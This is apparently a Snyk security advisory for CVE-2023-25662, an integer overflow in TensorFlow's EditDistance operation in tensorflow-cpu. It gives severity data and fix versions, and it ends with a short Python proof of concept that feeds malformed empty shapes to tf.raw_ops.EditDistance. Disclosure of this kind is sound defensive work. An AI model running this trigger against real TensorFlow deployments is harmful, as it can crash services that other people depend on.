Integer Overflow or Wraparound Affecting tensorflow-cpu package, versions [,2.11.1)[2.12.0rc0,2.12.0)


Severity

Recommended
0.0
high
0
10

CVSS assessment made by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of concept
EPSS
0.09% (41st percentile)

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  • Snyk IDSNYK-PYTHON-TENSORFLOWCPU-3373016
  • published26 Mar 2023
  • disclosed26 Mar 2023
  • creditr3pwnx

Introduced: 26 Mar 2023

CVE-2023-25662  (opens in a new tab)
CWE-190  (opens in a new tab)
First added by Snyk

How to fix?

Upgrade tensorflow-cpu to version 2.11.1, 2.12.0 or higher.

Overview

tensorflow-cpu is a machine learning framework.

Affected versions of this package are vulnerable to Integer Overflow or Wraparound in EditDistance. A fix is included in TensorFlow version 2.12.0 and version 2.11.1.

PoC

import tensorflow as tf
para={
    'hypothesis_indices': [[]],
    'hypothesis_values': ['tmp/'],
    'hypothesis_shape': [],
    'truth_indices': [[]],
    'truth_values': [''],
    'truth_shape': [],
    'normalize': False
    }
tf.raw_ops.EditDistance(**para)

References

CVSS Scores

version 3.1